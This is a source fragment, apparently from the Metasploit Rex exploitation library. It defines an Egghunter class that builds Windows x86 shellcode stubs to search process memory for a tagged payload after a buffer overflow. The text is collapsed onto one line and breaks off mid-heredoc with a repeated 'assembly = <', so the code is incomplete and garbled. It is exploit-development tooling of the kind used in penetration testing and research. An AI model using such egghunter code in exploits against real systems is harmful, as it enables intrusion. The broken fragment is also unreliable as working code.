require 'rex/text' require 'rex/arch' module Rex module Exploitation ### # # This class provides an interface to generating egghunters. Egghunters are # used to search process address space for a known byte sequence. This is # useful in situations where there is limited room for a payload when an # overflow occurs, but it's possible to stick a larger payload somewhere else # in memory that may not be directly predictable. # # Original implementation by skape # (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf) # # Checksum checking implemented by dijital1/corelanc0d3r # Checksum code merged to Egghunter by jduck # Conversion to use Metasm by jduck # Startreg code added by corelanc0d3r # ### class Egghunter ### # # Windows-based egghunters # ### module Windows Alias = "win" module X86 Alias = ARCH_X86 # # The egg hunter stub for win/x86. # def hunter_stub(payload, badchars = '', opts = {}) startreg = opts[:startreg] raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first checksum = checksum_stub(payload, badchars, opts) startstub = '' if startreg if startreg.downcase != 'edx' startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr" else startstub = "\n\tjmp next_addr" end end startstub << "\n\t" if startstub.length > 0 assembly = < 0 assembly = <